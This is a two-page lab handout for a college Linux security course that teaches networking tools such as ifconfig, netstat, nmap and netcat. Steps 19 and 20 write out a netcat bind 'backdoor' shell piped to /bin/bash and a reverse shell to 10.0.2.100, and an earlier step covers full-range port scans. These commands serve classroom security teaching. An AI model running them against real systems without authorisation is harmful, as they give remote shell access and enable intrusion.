Lab Exercise #4: Simple Network Review and Hacking

Lab Exercise #4: Simple Network Review and Hacking

<p> CIS 290 – LINUX Security</p><p>Lab Exercise #4: Simple network review and hacking</p><p>1. Install under LINUX – netcat, nmap, Wireshark, firewall and configuration tools. 2. Display all interfaces: ifconfig –a, ifconfig down eth0, ifconfig up eth0 3. Display interface physical attributes: ethtool eth0 4. ping gateway 5. traceroute csc.oakton.edu 6. netstat –rn 7. arp –a 8. telnet csc.oakton.edu 9. netstat –an 10. Review /etc/sysconfig/network-scripts 11. route print, netstat -rn </p><p>Stupid network tricks using TELNET, netcat, nmap:</p><p>12. Simple client/server</p><p> nc -l 1111 nc 127.0.0.1 1111 This is a test This is a test. Ending communication with ^C (Ctrl-C) (Ctrl-C)</p><p>13. Simple file transfer</p><p> nc -l 1234 > test.out echo Hi There!!!!! | nc 127.0.0.1 1234</p><p>14. Client to web server echo -e "GET http://www.oakton.edu HTTP/1.0\n\n\n\n" | nc -w 5 www.oakton.edu 80</p><p>15. Or getting a server header: </p><p> echo -e "HEAD / HTTP/1.0\n\n" | nc 10.0.2.100 80</p><p>16. Web Host web.txt <HTML> <HEAD><TITLE>Welcome to Bob's Webpage</TITLE></HEAD> <BODY><FONT SIZE=7><P ALIGN="CENTER">Welcome to Bob's Webpage!!!!!!!!</P> <P ALIGN="CENTER">&nbsp;</P></BODY> </HTML> cat web.txt | nc –l –v 80</p><p>Point browser to your system – http://127.0.0.1. CIS 290 – LINUX Security</p><p>Lab Exercise #4: Simple network review and hacking</p><p>17. Port scanning:</p><p> nmap –sT –p 1-65535 <ip address> nc -z 127.0.0.1 1-1024 echo "quit" | nc -z 127.0.0.1 1-1024 echo EXIT | nc –z -w 1 127.0.0.1 1-1024</p><p>18. TELNET client/server nc -t -l 2323 | /bin/bash nc 127.0.0.1 2323 echo "Hi there" logout</p><p>19. “Backdoor” shell (-e option not in LINUX, note step 18 as bypass)</p><p> nc –e /bin/bash -l 2023 nc –v 127.0.0.1 2023</p><p> or telnet 127.0.0.1 2023</p><p>-e option not in LINUX</p><p> nc -l 2023 | /bin/bash provide access to bash builtin commands (no external executables.) </p><p>20. “Reverse” shell (-e option not in LINUX) </p><p>Local machine: nc -n -v -l -p 1234 Remote machine: nc -e /bin/sh 10.0.2.100 1234</p><p>21. Telnet to discovered ports: telnet <ip address> <tcp port #></p>

View Full Text

Details

  • File Type
    pdf
  • Upload Time
    -
  • Content Languages
    English
  • Upload User
    Anonymous/Not logged-in
  • File Pages
    2 Page
  • File Size
    -

Download

Channel Download Status
Express Download Enable

Copyright

We respect the copyrights and intellectual property rights of all users. All uploaded documents are either original works of the uploader or authorized works of the rightful owners.

  • Not to be reproduced or distributed without explicit permission.
  • Not used for commercial purposes outside of approved use cases.
  • Not used to infringe on the rights of the original creators.
  • If you believe any content infringes your copyright, please contact us immediately.

Support

For help with questions, suggestions, or problems, please contact us